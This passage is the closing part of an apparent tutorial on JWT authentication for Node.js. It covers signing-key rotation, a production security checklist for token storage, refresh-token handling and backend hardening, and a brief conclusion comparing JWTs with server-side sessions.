    1. Assign a key identifier (kid) to each signing key.
    2. Publish or distribute verification keys securely.
    3. Start signing new tokens with the new key.
    4. Continue accepting the previous verification key during a controlled transition.
    5. Wait for old tokens to expire or revoke them.
    6. Remove the retired key when it is no longer needed.

    Never blindly trust a token's kid to select an arbitrary file or remote URL. Key selection must be restricted to a trusted key set.

    For distributed systems, a JSON Web Key Set (JWKS) endpoint can help services obtain public verification keys.

    14. Production Deployment Checklist

    Before deploying JWT authentication, review the following checklist.

    Token security

    • Use strong signing keys.
    • Keep access and refresh signing keys separate.
    • Explicitly allow approved algorithms.
    • Validate token signatures.
    • Validate issuer and audience.
    • Validate expiration and token purpose.
    • Keep sensitive information out of JWT payloads.
    • Use appropriately short access-token lifetimes.

    Token storage

    • Avoid unnecessarily persisting access tokens in browser storage.
    • Consider in-memory access-token storage.
    • Store browser refresh tokens in secure HTTP-only cookies.
    • Use HTTPS in production.
    • Configure cookie domain, path, SameSite, and Secure attributes carefully.
    • Implement CSRF protections for cookie-authenticated requests.

    Refresh-token management

    • Store refresh-token hashes rather than plaintext tokens.
    • Rotate refresh tokens after successful use.
    • Revoke old refresh tokens.
    • Detect refresh-token reuse.
    • Support logout and session revocation.
    • Handle concurrent refresh requests.
    • Expire inactive sessions.

    Backend security

    • Hash passwords using Argon2id, bcrypt, or scrypt.
    • Validate request payloads.
    • Apply rate limiting to authentication endpoints.
    • Implement backend authorization.
    • Validate resource ownership.
    • Protect administrative routes.
    • Avoid leaking authentication details in error responses.
    • Log suspicious authentication activity without logging tokens or secrets.

    Infrastructure

    • Store secrets outside source control.
    • Use secure key-management practices.
    • Plan signing-key rotation.
    • Configure CORS carefully.
    • Monitor authentication failures.
    • Test token expiration and revocation.
    • Test refresh-token reuse and concurrent refresh behavior.

    Conclusion

    JWT authentication is a useful approach for modern Node.js applications, but securely implementing it requires more than generating and verifying signed tokens.

    A production-ready authentication system should consider access-token expiration, refresh-token rotation, secure storage, token revocation, authentication middleware, authorization, and protection against common web vulnerabilities.

    For many React and Express applications, a practical architecture is to use short-lived access tokens stored in memory and refresh tokens stored in secure HTTP-only cookies.

    However, JWTs aren't a universal replacement for traditional server-side sessions. If your application doesn't need distributed token verification, a conventional session-based architecture may be simpler.

    The best authentication design is the one that satisfies your application's security, deployment, and usability requirements without introducing unnecessary complexity.

    Remember: A valid JWT proves that its claims were issued by a trusted signer and haven't been modified. It doesn't automatically prove that the user is still authorized to perform every action. Authentication, authorization, token lifecycle management, and secure application design must work together.


    Official References

    Enjoyed this read?

    Keep the conversation going.

    Follow along for more practical development notes, or reach out to talk about a project.

    Keep exploring

    Related articles

    More guides connected by the topics in this article.

    Browse the journal